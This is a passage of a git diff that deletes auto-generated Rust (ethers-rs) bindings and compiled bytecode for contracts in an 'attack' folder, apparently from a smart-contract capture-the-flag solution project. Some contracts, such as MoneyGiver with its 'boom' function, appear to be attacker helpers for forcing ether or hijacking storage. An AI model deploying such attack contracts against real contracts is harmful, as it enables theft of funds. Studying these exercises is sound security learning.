\x01`@Q\x80\x91\x03\x90\xF3[`\0T`V\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V\xFE\xA2dipfsX\"\x12 \x90|<\x90m\x86\x161\xDE\xF9\x03c\xF5\xCFs\xED/'l\x0F\xBFHn\r\xF3\x1E\x88\xED\xC1B\x0E`dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static LETMEINAGAIN_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14`7W\x80c\x8D\xA5\xCB[\x14`\x7FW[`\0\x80\xFD[`\x01T`V\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0T`V\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V\xFE\xA2dipfsX\"\x12 \x90|<\x90m\x86\x161\xDE\xF9\x03c\xF5\xCFs\xED/'l\x0F\xBFHn\r\xF3\x1E\x88\xED\xC1B\x0E`dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static LETMEINAGAIN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct LetMeInAgain(::ethers::contract::Contract); - impl ::core::clone::Clone for LetMeInAgain { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for LetMeInAgain { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for LetMeInAgain { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for LetMeInAgain { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(LetMeInAgain)) - .field(&self.address()) - .finish() - } - } - impl LetMeInAgain { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - LETMEINAGAIN_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - LETMEINAGAIN_ABI.clone(), - LETMEINAGAIN_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `original` (0x46c715fa) - /// function - pub fn original( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([70, 199, 21, 250], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for LetMeInAgain - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "original", abi = "original()")] - pub struct OriginalCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum LetMeInAgainCalls { - Original(OriginalCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for LetMeInAgainCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Original(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for LetMeInAgainCalls { - fn encode(self) -> Vec { - match self { - Self::Original(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for LetMeInAgainCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Original(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for LetMeInAgainCalls { - fn from(value: OriginalCall) -> Self { Self::Original(value) } - } - impl ::core::convert::From for LetMeInAgainCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OriginalReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/library_contract.rs b/attack/src/abi/library_contract.rs deleted file mode 100644 index 3c4eb79..0000000 --- a/attack/src/abi/library_contract.rs +++ /dev/null @@ -1,173 +0,0 @@ -pub use library_contract::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod library_contract { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([( - ::std::borrow::ToOwned::to_owned("setTime"), - ::std::vec![::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("setTime"), - inputs: ::std::vec![::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_time"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - },], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: - ::ethers::core::abi::ethabi::StateMutability::NonPayable, - },], - )]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static LIBRARYCONTRACT_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x8D\x80a\0\x1E`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c;\xEB&\xC4\x14`-W[`\0\x80\xFD[`=`86`\x04`?V[`\0UV[\0[`\0` \x82\x84\x03\x12\x15`PW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x84\x90\xF6\xA1\xDE\x8Cn\xE8Y\xA2\xF4\x8E\xE5Cx\xBF\"\xC1\xE6\x93\x07\xAB\xADc\xA4G\xAF\x15\xF8\xCB\xD8\xCFdsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static LIBRARYCONTRACT_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c;\xEB&\xC4\x14`-W[`\0\x80\xFD[`=`86`\x04`?V[`\0UV[\0[`\0` \x82\x84\x03\x12\x15`PW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x84\x90\xF6\xA1\xDE\x8Cn\xE8Y\xA2\xF4\x8E\xE5Cx\xBF\"\xC1\xE6\x93\x07\xAB\xADc\xA4G\xAF\x15\xF8\xCB\xD8\xCFdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static LIBRARYCONTRACT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct LibraryContract(::ethers::contract::Contract); - impl ::core::clone::Clone for LibraryContract { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for LibraryContract { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for LibraryContract { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for LibraryContract { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(LibraryContract)) - .field(&self.address()) - .finish() - } - } - impl LibraryContract { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - LIBRARYCONTRACT_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - LIBRARYCONTRACT_ABI.clone(), - LIBRARYCONTRACT_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `setTime` (0x3beb26c4) - /// function - pub fn set_time( - &self, - time: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([59, 235, 38, 196], time) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for LibraryContract - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `setTime` function with signature `setTime(uint256)` - /// and selector `0x3beb26c4` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "setTime", abi = "setTime(uint256)")] - pub struct SetTimeCall { - pub time: ::ethers::core::types::U256, - } -} diff --git a/attack/src/abi/magic_num.rs b/attack/src/abi/magic_num.rs deleted file mode 100644 index 512d0b7..0000000 --- a/attack/src/abi/magic_num.rs +++ /dev/null @@ -1,297 +0,0 @@ -pub use magic_num::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod magic_num { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("setSolver"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("setSolver"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_solver"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("solver"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("solver"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static MAGICNUM_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x01N\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x1F\x87\x943\x14a\0;W\x80cI\xA7\xA2m\x14a\0\x92W[`\0\x80\xFD[a\0\x90a\0I6`\x04a\0\xDBV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\0[`\0Ta\0\xB2\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15a\0\xEDW`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x01\x11W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x1F]\xC6i\xCF\x8ERz\xE8\xAD\x88\xEE\x1B5\x011?~\xF5\xDF\x89L\x8FWy\xB5\xFEc>\x89\xF6\xECdsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static MAGICNUM_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x1F\x87\x943\x14a\0;W\x80cI\xA7\xA2m\x14a\0\x92W[`\0\x80\xFD[a\0\x90a\0I6`\x04a\0\xDBV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\0[`\0Ta\0\xB2\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15a\0\xEDW`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x01\x11W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x1F]\xC6i\xCF\x8ERz\xE8\xAD\x88\xEE\x1B5\x011?~\xF5\xDF\x89L\x8FWy\xB5\xFEc>\x89\xF6\xECdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static MAGICNUM_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct MagicNum(::ethers::contract::Contract); - impl ::core::clone::Clone for MagicNum { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for MagicNum { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for MagicNum { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for MagicNum { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(MagicNum)) - .field(&self.address()) - .finish() - } - } - impl MagicNum { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - MAGICNUM_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - MAGICNUM_ABI.clone(), - MAGICNUM_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `setSolver` (0x1f879433) - /// function - pub fn set_solver( - &self, - solver: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([31, 135, 148, 51], solver) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `solver` (0x49a7a26d) - /// function - pub fn solver( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([73, 167, 162, 109], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for MagicNum - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `setSolver` function with signature - /// `setSolver(address)` and selector `0x1f879433` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "setSolver", abi = "setSolver(address)")] - pub struct SetSolverCall { - pub solver: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `solver` function with signature `solver()` and - /// selector `0x49a7a26d` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "solver", abi = "solver()")] - pub struct SolverCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum MagicNumCalls { - SetSolver(SetSolverCall), - Solver(SolverCall), - } - impl ::ethers::core::abi::AbiDecode for MagicNumCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::SetSolver(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Solver(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for MagicNumCalls { - fn encode(self) -> Vec { - match self { - Self::SetSolver(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Solver(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for MagicNumCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::SetSolver(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Solver(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for MagicNumCalls { - fn from(value: SetSolverCall) -> Self { Self::SetSolver(value) } - } - impl ::core::convert::From for MagicNumCalls { - fn from(value: SolverCall) -> Self { Self::Solver(value) } - } - ///Container type for all return fields from the - /// `solver` function with signature `solver()` and - /// selector `0x49a7a26d` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct SolverReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/money_giver.rs b/attack/src/abi/money_giver.rs deleted file mode 100644 index 3bc6c04..0000000 --- a/attack/src/abi/money_giver.rs +++ /dev/null @@ -1,417 +0,0 @@ -pub use money_giver::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod money_giver { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_forceAddress"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("balance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balance"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("boom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("boom"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("deposit"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("deposit"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static MONEYGIVER_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\0`\x01U4\x80\x15a\0\x15W`\0\x80\xFD[P`@Qa\x02!8\x03\x80a\x02!\x839\x81\x01`@\x81\x90Ra\x004\x91a\0gV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x97V[`\0` \x82\x84\x03\x12\x15a\0yW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x90W`\0\x80\xFD[\x93\x92PPPV[a\x01{\x80a\0\xA6`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0?W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14a\0DW\x80c\xA1i\xCE\t\x14a\0\x9BW\x80c\xB6\x9E\xF8\xA8\x14a\0\xA5W\x80c\xD0\xE3\r\xB0\x14a\0\xC9W[`\0\x80\xFD[4\x80\x15a\0PW`\0\x80\xFD[P`\0Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xA3a\0\xD1V[\0[4\x80\x15a\0\xB1W`\0\x80\xFD[Pa\0\xBB`\x01T\x81V[`@Q\x90\x81R` 